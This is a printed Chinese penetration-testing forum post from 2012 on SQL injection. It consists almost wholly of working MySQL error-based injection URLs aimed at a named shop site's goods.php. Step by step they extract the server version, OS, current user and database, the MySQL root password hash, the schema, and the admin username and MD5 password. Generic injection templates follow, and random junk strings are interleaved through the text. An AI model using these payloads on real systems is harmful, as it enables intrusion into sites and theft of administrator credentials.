中国网络渗透测试联盟

标题: 盲注详细内容 [打印本页]

作者: admin    时间: 2012-9-5 14:59
标题: 盲注详细内容
判断版本号 & R6 f. o1 W! f5 ^$ I3 S
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 {( v! ~% W- v. Q: g% q; p, x5 I
# \5 T  _- r$ v7 I' l" [& i判断系统
# G2 ^: X% x0 ]4 n4 h) `2 r6 a- V- K) z, m
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& K2 Q/ ?) n5 \0 O3 B1 s
# ~8 I+ E6 B$ H
/ |+ v7 b2 B, x; @/ m) h: H' c: W6 f. ?) f" E4 C
当前 user()6 |6 y% ~& s4 ~& {. f: D' U7 v

* D& _1 H3 O- c% shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. d! C* p# i$ A3 ]5 g# c

  M2 b4 o0 y. U( |$ O" t, a/ \) A* S1 O+ h8 @; ]: x1 C* z

& M. s5 L# @! O% {6 J/ ?当前 database()
" I; F" s- T5 ?$ Z7 f! ~http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23- f& }/ }$ j) Z6 w9 [& S
! p' d% z- F) [, C4 T0 W

. Y9 o3 z, @4 G6 R2 Y3 C
- B9 w5 I7 E* ]6 a3 P9 J. I
" C2 E6 W) E2 k; ~5 C! C0 M7 Qroot hash& t4 ]' A. G4 `* C7 u6 ?4 o

) F* y# I9 Y  k, F( Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 I/ F$ ?6 V' {' k. z) ~! N6 s
7 h/ L' Y. g; f# X  y/ g$ y5 C' x
% U: x2 Z  O2 F. S( C+ J1 ]9 e4 }4 {3 \, `
当前 数据库表名
1 l* U3 c( M4 o" h% V/ C
* T' B8 {! T' z& Rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' _3 w3 ?" w% @4 O* S

# \5 ^& y4 A% Q% s- D
% u8 w/ j- r3 J- z& F
( y: I$ ]1 d- [3 K+ e8 Y当前 数据库 user_name 字段9 M1 |5 z& j7 U! ]

4 `0 J2 O% U$ `- ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* ]6 q3 g2 Q, i. `
% B9 j) @$ Y/ V4 |! x% Y+ R6 E当前 数据库 字段 password9 n# C  b& n4 q2 U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' @5 i" L- i6 ~' L! l2 q3 i
5 i2 e3 V  N% V  T  ?/ `/ W2 H/ z: d
8 `! S) T; e( t8 k
获得 admin passwd(md5)
4 |: q2 b% v/ E( H4 ~) d
# T$ w$ d  s4 N) j  v( a. D% q) [# p0 Z6 r( {# p
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% O- `2 H' A' o8 x' F) A: G
* s& Z& O! j+ ]4 u1 M! V! _报错注射6 B9 o# S8 _- E! V- u2 `
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
5 B( y: y. _; p3 w3 h3 H! M0 I* ]/ v! ~& u! r/ _; L% _8 ?; a
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
. u+ h5 I  ~1 G1 j4 I: `2 {8 |" I7 j6 K) F3 v% o' Z( a
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2